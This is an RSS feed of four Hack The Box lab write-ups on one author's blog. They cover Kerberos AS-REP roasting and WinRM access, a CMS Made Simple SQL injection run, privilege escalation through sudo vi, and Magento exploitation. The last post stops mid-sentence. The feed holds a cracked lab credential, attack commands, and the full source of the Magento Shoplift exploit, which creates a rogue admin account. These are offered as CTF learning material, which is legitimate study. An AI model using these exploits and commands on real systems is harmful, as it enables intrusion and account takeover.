<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Steven Petty on Medium]]></title>
        <description><![CDATA[Stories by Steven Petty on Medium]]></description>
        <link>https://medium.com/@pettyhacks?source=rss-1682daff74d5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*mFwOpIte_Nhw0CoOY24ntw.jpeg</url>
            <title>Stories by Steven Petty on Medium</title>
            <link>https://medium.com/@pettyhacks?source=rss-1682daff74d5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 16:10:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pettyhacks/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacking through the Forest! Pwning Active Directory — HTB]]></title>
            <link>https://medium.com/swlh/hacking-through-the-forest-pwning-active-directory-htb-9346db767f0b?source=rss-1682daff74d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9346db767f0b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Steven Petty]]></dc:creator>
            <pubDate>Mon, 23 Mar 2020 17:49:20 GMT</pubDate>
            <atom:updated>2020-03-23T17:49:20.081Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking through the <em>Forest! Pwning Active Directory — HTB</em></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q3dF4fnpnJS8SaEL" /><figcaption>Photo by <a href="https://unsplash.com/@frogman39?utm_source=medium&amp;utm_medium=referral">Jet Kim</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>First glance at the Forest!</h3><p>For this write-up I am taking a break from Linux boxes and instead trying to get some more hands-on experience #pwning windows. This was easily the hardest box i’ve ever popped so be prepared for a pretty lengthy 2 part write-up as there are tons of great little “hacks” I want to cover :)</p><p>So getting started we are looking at the <strong>Forest</strong> machine (10.10.10.161) on Hack The Box! Now I had friends that didn’t run into this issue so you may not as well, but just incase you do…. It appears my go-to nmap scan was being “blocked” by the server’s firewall:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*40rPVpsCLyJiHoRbg97sTQ.png" /></figure><p>Firewalls can be configured to pickup on scanning activity and send back false information to the adversary. In our case it was telling us <strong>ALL</strong> ports were closed. I assumed that wasn’t correct and there was no way all ports would be closed, so I started looking at ways to bypass this firewall control I had assumed was in my way.</p><p>What do we know? Well not much.. Basically just that this is a windows server. Doing some light research we know any Windows server in an enterprise environment will have to use Kerberos for authentication with Active Directory. So let’s <em>guess</em> that this server is setup to use Kerberos and try using that to our advantage. Kerberos by default uses port 88, so if we can tell our nmap scan to use port 88 as the source of our scan then 10.10.10.161 may believe it’s kerberos traffic and finally give us some useful information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*RZBczLPWwB_z-XxSgqECLQ.png" /><figcaption>The “-g” flag can be used to specify a Source Port</figcaption></figure><p>#Boomski finally some useful information and hey I was right about Kerberos 😈. Now that I know how to bypass the firewall filtering lets pull some additional information with -A (OS detection) -sV (Version detection) and -p- (Scan all 65,535 ports):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*mlrcAr3x_qD9v1IkFYr-bQ.png" /></figure><p>First things that stand out is all of the Active Directory services running as well as the Windows server version 2016. We also get the Domain that is used: <strong>htb.local</strong></p><h3>Picking our Axe!</h3><p>So now that we have our bearings of what kind of server we are dealing with lets look for some tools to make our job easier. After some researching around I came across Impacket (<a href="https://github.com/SecureAuthCorp/impacket">https://github.com/SecureAuthCorp/impacket</a>) which is an amazing tool-set of python scripts used to work directly with different networking protocols. It just so happens that there are some scripts within this suite perfect for hitting Active Directory Domain Controllers :)</p><p>Be sure to spend some time reading about each script within impacket as it’s possible that a <em>few</em> of these could come in handy later. Here is a great resource for your reading pleasure:</p><p><a href="https://www.secureauth.com/labs/open-source-tools/impacket">https://www.secureauth.com/labs/open-source-tools/impacket</a></p><p>To kick it off (and with some trial &amp; error) I decided to go with GetADUsers.py which is going to query the DC (Domain Controller) to get some basic user information. All we have to feed the script is:</p><ul><li>What exact information are we requesting? (All because we are greedy)</li><li>What Domain is this request for? (htb.local which we got from our nmap scan)</li><li>And last is the exact IP of the DC we are hitting (10.10.10.161)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lMbLgyU1ReFAloKtIYjnnQ.png" /></figure><p>NOICE! Now we have a list of users that the DC so graciously spit out for us. With this list I then peeked back at the impacket scripts to see if there was anything else there I could use before looking elsewhere…</p><p>Andddd what do you know: <a href="https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_20/examples/GetNPUsers.py">GetNPUsers.py</a></p><p>This script is going to request the TGT (Ticket Granting Ticket) for each user we feed it and then spit out those results in an output nicely formatted for cracking! Now before I just fired this bad boy up I wanted to review the code to see exactly what this script is looking for and precisely <em>why</em> would the DC just hand over the TGT?</p><pre>This script will attempt to list and get TGTs for those users that have the property: &#39;Do not require Kerberos preauthentication&#39; set (UF_DONT_REQUIRE_PREAUTH).</pre><p>Ah there it is, the <strong>UF_DONT_REQUIRE_PREAUTH</strong> flag. Which makes sense right? But what bothered me with this is <em>why</em> would any Active Directory admin ever legitimately use this setting? Doing some light googling the only thing you’ll find is “HOW TO KERBEROAST” or “IMPACKET GETS TGTS”. But it seemed impossible to actually find a legitimate use for this flag.</p><p>So I took to some of my AD admin buddies and asked them what the setting would be used for? Even <strong><em>they </em></strong>didn’t know what to tell me, just that they make sure it’s not set. BUT WHY IS THIS EVEN A THING?!?!</p><p>…. until finally after some #blackbelt #googlefoo I found <a href="http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm#UF_DONT_REQUIRE_PREAUTH">the answer</a>.</p><p>Legacy Systems. That’s the only time this flag should be set is when older systems which are unable to support kerberos need authentication to AD. FINALLY! Okay now that my compulsive itch has been scratched I can move on :)</p><p>With the knowledge of how GenNPUsers.py works in the background I start firing it at our AD server with each user. Unfortunately there was no luck… <em>until </em>one specific service level account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*qjDmVoqyFnGPOBTpl5DxnA.png" /></figure><p>andd again #boomski. If you are at all familiar with AD and kerberos security you probably have an idea of whats coming next… KERBEROASTING!</p><h3>#RoastinKerbs bruh</h3><p>What is Kerberoasting? <strong>Kerberoasting</strong> is a method used to steal service account credentials. Part of the service ticket is encrypted with the NT hash of the user. Any domain account can request Kerberos service tickets. Service tickets can be used to crack passwords offline.</p><p>Which leads us to our next step, cracking our TGT! GetNPUsers gives you many different formatting options depending which cracking suite you want to use. Since I am more familiar with Hashcat and it’s been years since i’ve touched JTR thats what I went with. One thing you have to make sure you get right with hashcat is the “hash-type” (-m switch). I will neither confirm nor deny how much time I spent failing to crack this TGT because of an incorrect hash-type code #neededcaffine</p><p><a href="https://hashcat.net/wiki/doku.php?id=example_hashes">HERE </a>is a list of all the hashcat hash-types. Since you’re stealing TGT’s from kerberos the 18200 code is what you’ll want to use. And of course you need a solid wordlist such as rockyou which comes by default on Kali 🐱‍💻</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*BUSTP9QHAYk25Ik4HRCM0g.png" /></figure><p>as always #boomgoesthedynamite now we have our service account username AND password!</p><pre>svc-alfresco:s3rvice</pre><h3>Got Creds. Now Wat Do?</h3><p>While we are so close you can taste it…. we aren’t there yet. Now that we have credentials, how are you supposed to use them? This part took quite a bit of research on my part as again I’m not super familiar with #pwning windows servers. After some hardcore googling around remote services for windows I stumbled upon WinRM. If you aren’t super familiar with WinRM, it’s a remote management tool designed to allow systems to access and exchange management information across an IT infrastructure.</p><p>So this looks like it could be our answer, but how do I leverage this tool to allow for remote code execution from a Linux box? #googlingintensifies</p><p>And that’s when I discovered <a href="https://github.com/Hackplayers/evil-winrm">Evil-WinRM</a> 😈 Now this tool has TONS of features and amazing abilities. It did take me quite some time for trial &amp; error, youtubing, googling, and reading to finally get the shell we’ve all been waiting for!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*a9QztHXGSNU0j8M7jifqmA.png" /><figcaption>Now can remote in using WinRM service on port 5985</figcaption></figure><h3>Forest Infiltrated</h3><p>Apologies for the long write up! This was hell of a fun box but also had quite a bit of a learning curve for me personally. Be sure to checkout the 2nd part as we climb up to root shell as per usual. As always thx for reading! #ByeFelicia</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9346db767f0b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/swlh/hacking-through-the-forest-pwning-active-directory-htb-9346db767f0b">Hacking through the Forest! Pwning Active Directory — HTB</a> was originally published in <a href="https://medium.com/swlh">The Startup</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection Exploitation & Hash Cracking!]]></title>
            <link>https://medium.com/swlh/sql-injection-exploitation-hash-cracking-2716af2a54ff?source=rss-1682daff74d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/2716af2a54ff</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Steven Petty]]></dc:creator>
            <pubDate>Wed, 20 Nov 2019 21:32:05 GMT</pubDate>
            <atom:updated>2019-11-20T21:32:05.205Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fI8EjvNS7h6NR_Gl" /><figcaption>Photo by <a href="https://unsplash.com/@casparrubin?utm_source=medium&amp;utm_medium=referral">Caspar Camille Rubin</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Summary</h3><p>Waddup #InfoSec! In this article I am going to be doing Part 1 of a write-up for Hack The Box’s “Writeup” box! This was a fun one and while I didn’t necessarily learn any <em>new </em>hacking techniques I did build off my previous knowledge of SQL Injection, Hash Cracking, and actually quite a bit regarding how $PATHs work within Linux. #spoilers</p><p>As always please feel free to hack along with me as I write these to be very interactive and “step” driven. #HackTogetherHackHarder</p><h3>Shhhh… You hear that?</h3><p>#YouKnowWhatTimeItIs! Time for that Reconnaissance phase. We’ll be setting our cross-hairs on 10.10.10.138 once we are successfully VPN’ed into HTBs network. Of course our first step is going to be a basic nmap scan. We are going to use our basic switches:</p><pre>-sV: This gives us the version of the service running on each port.<br>-sC: This will use the default NSE scripts which can be useful for        additional artifact discovery.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*2ecoBll_Xrj71dsVyPVG5g.png" /></figure><p>So at first glance pretty standard, we have SSH and HTTP ports open which of course must mean there is a web app running on the box right? →</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*yEQoQrI4U0JK5vqGR-0O6A.png" /><figcaption>Totally did NOT have a mini stroke thinking this was a BSOD…on linux… #ineedsleep</figcaption></figure><p>Now lets see here, what can we gather from just first glance on this page? Well there must be some kind of WAF (Web Application Firewall) in place as they so graciously warned us. Looks like there is a threshold of acceptable 40x errors before the server will ban your IP. In-case you are unfamiliar with HTTP status codes I refer you to the best IT-related cheat sheet I have ever seen… <a href="https://http.cat/">http.cat</a>. TL:DR 40x status codes are always the clients fault such as a bad/invalid request. Thus if we send to many invalid requests to this server looks like WE are getting #ByeFelica’d.</p><p>With that knowledge it appears that directory enumeration is out, as that will rack up our limited 40x errors rather quickly. If we take a peek back at the nmap results you can see we were provided some details about the server’s robots.txt file which is disallowing indexing of the /writeup/ directory. Welp let’s make like a tree and go see what potential application and/or web service is running at that URL…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*LiVXAbGGfO4KP1JidHN2_A.png" /></figure><p>AH! Now it gets interesting, it appears to be someones very very rough blog for HTB writeups. Clicking around there are a few note worthy items we come across. First we see at the footer of each page “Pages are hand-crafted with vim. NOT.”. Now at this point I am unsure if this is some kind of hint or just a reference to the all great Borat…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*q7NwG2utgYbEIPUewVcNzA.png" /><figcaption>*again #IneedSleep</figcaption></figure><p>Other than that I see 2 things that stand out to me:</p><p>1. The URLs used for each page look to be a simple SQL query to the backend database which allows the server to easily request &amp; respond with the page contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*JEIHxCnYpAEbydG43ArJ7A.png" /></figure><p>2. Reviewing the source code behind these pages show that the application “CMS Made Simple” is being used as the content management solution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*TJ42NighcycnLEPOFS6uEg.png" /></figure><h3><strong>Weaponization</strong></h3><p>We now have enough information to at-least <em>attempt</em> to proceed with our hack! Let’s start by checking out what exploits are available to us for the <strong>CMS Made Simple</strong> application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*FEUpL0gi0OdoyxrzPqa1og.png" /></figure><p>Looking at searchsploit we see 1 particular script that stands out. We know that the site <em>may</em> be vulnerable to SQL Injection by noticing how it queries for page contents. And our luck would have it, there&#39;s a CMS Made Simple exploit leveraging SQL Injection #jackpot.</p><p>So lets copy this script over to our directory and crack it open to take a look at what it’s doing. You can use the following searchsploit command to copy the script over to your current directory:</p><pre>searchsploit -m exploits/php/webapps/46635.py</pre><p>The script is pretty long so to save time and to not bombard you with a wall of code I will just <a href="https://packetstormsecurity.com/files/152356/CMS-Made-Simple-SQL-Injection.html">link to it here</a>. And for your reference this script is an exploit for the <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-9053">CVE-2019–9053</a> vulnerability!</p><p>If you read through the code you will see that sure enough this injects SQL commands into the URL to pull any and all data it can. Specifically looking for the Salt being used, username, password, and email account. And the great thing about this script is no modifications needed! Although I still strongly recommend you read through every line of code as you ALWAYS want to have a good understating of what your script does before firing it. Otherwise it could get you into some trouble.</p><p>With that said, all we need to run this script against our vulnerable target is some arguments! It’s specifically looking for our target, and what wordlist we would like to use. If you are hacking away at this box in Kali then good news is you have your pick of wordlists from the /usr/share/wordlists directory. Here is the command that we are going to use:</p><pre>python exploit.py -u <a href="http://10.10.10.138/writeup">http://10.10.10.138/writeup</a> --crack -w /usr/share/wordlists/rockyou.txt</pre><p>AND DRUMROLLLLLL………………………………..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*n45HGKvammN9XVYvIIc4qg.png" /><figcaption>#ThatsHowTheCookieCrumbles</figcaption></figure><p>It looks like we mayyyy have our credentials for User shell &gt;:) so let’s give it a try by SSHing in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frfpPCYuYljzDCeutqjmeg.png" /></figure><p>#boomski! we now have user shell on the box :) As always it doesn’t stop here! We always aspire to be the #GreedyHacker and aren’t finished until we pop root, buttttt we’ll cover that process in the next writeup!</p><p>If you made it this far then I sincerely appreciate you reading and hacking along! Feel free to give me a shout on Twitter @PettyHacks or comment below what you thought and possibly what you’d like to see in the future! #ByeFelica!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2716af2a54ff" width="1" height="1" alt=""><hr><p><a href="https://medium.com/swlh/sql-injection-exploitation-hash-cracking-2716af2a54ff">SQL Injection Exploitation &amp; Hash Cracking!</a> was originally published in <a href="https://medium.com/swlh">The Startup</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Privilege Escalation via VI!]]></title>
            <link>https://medium.com/@pettyhacks/linux-privilege-escalation-via-vi-36c00fcd4f5e?source=rss-1682daff74d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/36c00fcd4f5e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Steven Petty]]></dc:creator>
            <pubDate>Sun, 10 Nov 2019 21:12:49 GMT</pubDate>
            <atom:updated>2019-11-10T21:12:49.796Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_LL3UGm9XlMLqS_G" /><figcaption>Photo by <a href="https://unsplash.com/@hidd3n?utm_source=medium&amp;utm_medium=referral">Kevin Horvat</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Yo! @PettyHacks back with a simple Linux Privilege Escalation technique to migrate that measly $User shell you have over to #PwnCity with a $Root shell! FYI this is Part 2 to my previous article “<a href="https://medium.com/swlh/magento-exploitation-from-customer-to-server-user-access-70929e7bb634"><em>Magento Exploitation! — From Customer to Server User Access</em></a>” so if you are planning on hacking along make sure to check it out!</p><p>Now there are TONs of great write-ups and even videos on basic Linux Privilege Escalation so I am not going to go over all of that. Instead I am going to show you how incorrectly configured Sudo permissions can be manipulated to give you <strong>root</strong> access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*ce6jkwKaITfEvRU_RwGXLw.png" /><figcaption>www-data@swagshop:</figcaption></figure><p>To pick right back up where we left off, we currently have access to the “www-data” user shell on SwagShop’s E-Commerce server.</p><p>One of the first things you should always check when looking for priv esc openings is what sudo permissions the user has available to them. This is super simple to check by running the following:</p><pre>sudo -l</pre><p>This command will list out all of the available sudo permission that you have with that account. As you can see on this box we have sudo access to the text editor <strong>vi </strong>but only in a specific directory, /var/www/html/*</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*tDtkneIpuGZ1M5nr20nXtg.png" /></figure><p>This means we can run <strong>vi</strong> as root on any file within that directory. This directory limitation is pretty obviously a control to keep us from being able to open /etc/shadow or any other “locked” files only available to the root account. This control makes sense, in theory, but lucky for us we don’t need specific access to any file when we can take control of the entire root user #CornyEvilLaugh. Now there are 2 ways this can be done, either open an existing file (within that specific directory) with vi:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*LVn2y8AdFk_GnF_46pV1eQ.png" /></figure><p>Or just create our own (again, within that specific directory):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*_DHHyLjItbmnv4AxW1LtIw.png" /></figure><p>The contents of the file don’t actually matter here. What we are wanting is to have an active session of <strong>vi</strong> running which we can then use to leverage to a root shell, since <strong>vi</strong><em> </em>will be running as root already. How does this work? Well within vi you actually have the ability to run terminal commands as a feature, not a bug. So if we have <strong>vi</strong> open, running as root, and we tell the terminal to spawn a shell, I’m sure you can guess <em>what</em> shell is going to be spawned? &gt;:)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/111/1*1Nm7WSXt842QNht2WnPR6w.png" /></figure><p>Anddddd there she is. We run:</p><pre>:!/bin/bash</pre><p>in our active <strong>vi</strong> session and it spits out a shell just as expected. And if we check “who’s” shell it is by running <em>whoami</em><strong><em> </em></strong>we see its root! Confirmed on the SwagShop box:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*iFrkG7OeY73RHDWvnDgcKg.png" /></figure><p>Sorry if this write-up was much quicker than you had anticipated, I just didn’t want to review and go over what so many other talented hackers had beaten to death. I hope this helped and maybe you learned a little something! Feel free to hit me up on Twitter or comment below with any feedback, request, or just to ask how many #FireballShots were taken during this hack.</p><p>Again thanks for reading and check back later for our next target! #SqlInjection #byeFelica</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36c00fcd4f5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Magento Exploitation! — From Customer to Server User Access]]></title>
            <link>https://medium.com/swlh/magento-exploitation-from-customer-to-server-user-access-70929e7bb634?source=rss-1682daff74d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/70929e7bb634</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Steven Petty]]></dc:creator>
            <pubDate>Thu, 07 Nov 2019 01:05:15 GMT</pubDate>
            <atom:updated>2020-10-21T18:44:53.806Z</atom:updated>
            <content:encoded><![CDATA[<h3>Magento Exploitation! — From Customer to Server User Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkP00S3gwAUWZGige1PXiw.jpeg" /></figure><h3>Summary</h3><p><a href="https://magento.com/">Magento</a> is a CMS (Content Management System) for E-Commerce websites that is widely used internationally. Even though you may have been unaware of it, I can guarantee you have probably purchased something from a company that uses Magento (such as HP or Zumies). Theoretically if an adversary can gain access to a target’s Magento platform they could then cause irreparable damage to that organizations sales and/or reputation…. and that’s the best case scenario.</p><p>With that said anytime a company uses a 3rd party application it opens up many doors for vulnerabilities. In this write up we are going to penetrate a simple E-Commerce website’s Magento platform which will then give us full access to the products, payment information, customer data, and more that are stored on the website. LET’S GO!</p><h3>Dat Recon Baby</h3><p>As always you should start any op with a thorough reconnaissance phase, otherwise you could end up wasting hours if not days poking at a target to no avail. Hell sometimes you can find an open door during this phase without any real exploitation!</p><p>So to preface, our target is SwagShop from HackTheBox! This site is being hosted at 10.10.10.140 once you VPN into HTB’s network.</p><p>Now lets get started with some initial scanning with….. you guessed it, Nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*214JgNk_wr4nBTZVy-aZGA.png" /></figure><p>Let’s review the switches we used and why:</p><pre>-sV: This gives us the version of the service running on each port.</pre><pre>-sC: This will use the default NSE scripts which can be useful for additional artifact discovery.</pre><p>With the Nmap scan done we see that there is an Apache server running on port 80. Navigating to http://10.10.10.140/ we are presented with the servers E-Commerce website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cylDbWj2DuahgqooWND-pQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*kt3nPrSkiMFuI78Iu54fnQ.png" /></figure><p>As you can see right off the bat we can see this site is running Magento because of the logo but this may not always be the case. Generally scanning through the source code (ctrl + U) will give you a great idea of what applications your target is running which can lead to vulnerabilities. A great tool to automate this process is the <a href="https://www.wappalyzer.com/">Wappalyzer</a> plugin for your browser which at a quick glance will indicate all applications/versions/languages currently running on your target (all that it can find anyway, remember to always remain skeptical of your tools).</p><p>I always like to start by clicking around the website just to get a rough feel for the landscape of the target and what’s available at face value. A great way to do this quickly is to checkout the /robots.txt file which can give some insight into what pages the target does or does not want public. Unfortunately with this target we have no such file.</p><p>Looking closer we can see at the bottom of the site that the current version of Magento the target is using was from 2014. Outdated and unpatched versions of software is every hacker’s dream as instead of having to find a complicated Zero day, there may already be some exploit scripts in the wild that make compromise trivial.</p><h3>Foothold</h3><p>So before we start poking for any misconfigurations or security flaws on the website, lets see if our work has already been done for us by looking for known exploit scripts using Searchsploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AWCbbPsOmDDq0a5R3YrZPg.png" /></figure><p>Obviously RCE (Remote Code Execution) would be ideal as that means we would have the ability to run commands on the server hosting the website. The possibilities could be endless #evilface</p><p>And as it so happens there is already a known RCE exploit in the wild as we see via Searchsploit:</p><pre>Magento eCommerce - Remote Code Execution     | exploits/xml/webapps/37977.py</pre><p>Lets start by copying this script into our working directory so we can review the code and make any necessary changes:</p><pre>$ cp /usr/share/exploitdb/exploits/xml/webapps/37977.py .<br>$ vi 37977.py</pre><pre>##################################################################################################<br>#Exploit Title : Magento Shoplift exploit (SUPEE-5344)<br>#Author        : Manish Kishan Tanwar AKA error1046<br>#Date          : 25/08/2015<br>#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi<br>#Debugged At  : Indishell Lab(originally developed by joren)<br>##################################################################################################<br><br>////////////////////////<br>/// Overview:<br>////////////////////////<br><br>Magento shoplift bug originally discovered by CheckPoint team (http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/)<br>This python script developed by joren but it was having some bug because of which it was not working properly.<br>If magento version is vulnerable, this script will create admin account with username forme and password forme<br><br><br>////////////////<br>///  POC   ////<br>///////////////<br>Exploit script starts here<br>///////////////////<br>#Thanks to<br># Zero cool, code breaker ICA, Team indishell, my father , rr mam, jagriti and DON  <br>import requests<br>import base64<br>import sys<br><br>target = &quot;http://target.com/&quot;<br><br>if not target.startswith(&quot;http&quot;):<br>    target = &quot;http://&quot; + target<br><br>if target.endswith(&quot;/&quot;):<br>    target = target[:-1]<br><br>target_url = target + &quot;/admin/Cms_Wysiwyg/directive/index/&quot;<br><br>q=&quot;&quot;&quot;<br>SET @SALT = &#39;rp&#39;;<br>SET @PASS = CONCAT(MD5(CONCAT( @SALT , &#39;{password}&#39;) ), CONCAT(&#39;:&#39;, @SALT ));<br>SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;<br>INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES (&#39;Firstname&#39;,&#39;Lastname&#39;,&#39;email@example.com&#39;,&#39;{username}&#39;,@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());<br>INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,&#39;U&#39;,(SELECT user_id FROM admin_user WHERE username = &#39;{username}&#39;),&#39;Firstname&#39;);<br>&quot;&quot;&quot;<br><br><br>query = q.replace(&quot;\n&quot;, &quot;&quot;).format(username=&quot;forme&quot;, password=&quot;forme&quot;)<br>pfilter = &quot;popularity[from]=0&amp;popularity[to]=3&amp;popularity[field_expr]=0);{0}&quot;.format(query)<br><br># e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}<br>r = requests.post(target_url, <br>                  data={&quot;___directive&quot;: &quot;e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&quot;,<br>                        &quot;filter&quot;: base64.b64encode(pfilter),<br>                        &quot;forwarded&quot;: 1})<br>if r.ok:<br>    print &quot;WORKED&quot;<br>    print &quot;Check {0}/admin with creds forme:forme&quot;.format(target)<br>else:<br>    print &quot;DID NOT WORK&quot;<br><br>/////////////////<br>exploit code ends here<br><br><br>                             --==[[ Greetz To ]]==--<br>############################################################################################<br>#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, <br>#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,<br>#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,<br>#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash<br>#############################################################################################<br>                             --==[[Love to]]==--<br># My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,<br>#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)<br>                       --==[[ Special Fuck goes to ]]==--<br>                            &lt;3  suriya Cyber Tyson &lt;3</pre><p>And there is the raw code for our python exploit script. Obviously if you just run this script without any modifications it will fail, so first we need to understand what this script does and how to modify it. Good news is the author of this script (@error1046) added the writeup of the exploit finding to the script comments which I strongly recommend you read through the technical section to understand exactly where the vulnerabilities lie.</p><p>We understand that this exploit actually leverages 3 different CVEs chained together: CVE-2015–1397, CVE-2015–1398, CVE-2015–1399. Long story short we are able to inject a new “Admin” user to the Magento application which we can then use to log straight in. Now lets start modifying our exploit script:</p><pre>Add: #!/usr/bin/env python</pre><pre>Change:<br>          target = &quot;http://target.com/&quot;<br>          format(username=&quot;forme&quot;, password=&quot;forme&quot;)</pre><pre>To:<br>          target = &quot;http://10.10.10.140/index.php&quot;<br>          format(username=&quot;DataLeak&quot;, password=&quot;DatasPass&quot;)</pre><p>And that’s it! Now mind you, copying other peoples exploits and modifying may yield the results you are looking for, but should only be a stepping stone in your Offensive Security journey. You should strive to fully understand the code you are running so that eventually you can write your own. While we HARDLY had to modify this script, know that some OTS (Off The Shelf) scripts may require major edits or even rewrites.</p><p>Well now we have our exploit, lets kick it off and see if we are successful or not!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*xoCg_Ac39Lc6SsmqfRR2vA.png" /><figcaption>Obviously we changed forme:forme to DataLeak:DatasPass</figcaption></figure><p>And sure enough…..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r5Yupvl-FzNif6QQNg-_pA.png" /><figcaption>Admin LOGIN!</figcaption></figure><p>Now while having our own active Administrator account to our target’s Magento dashboard is a huge win, we don’t want to stop 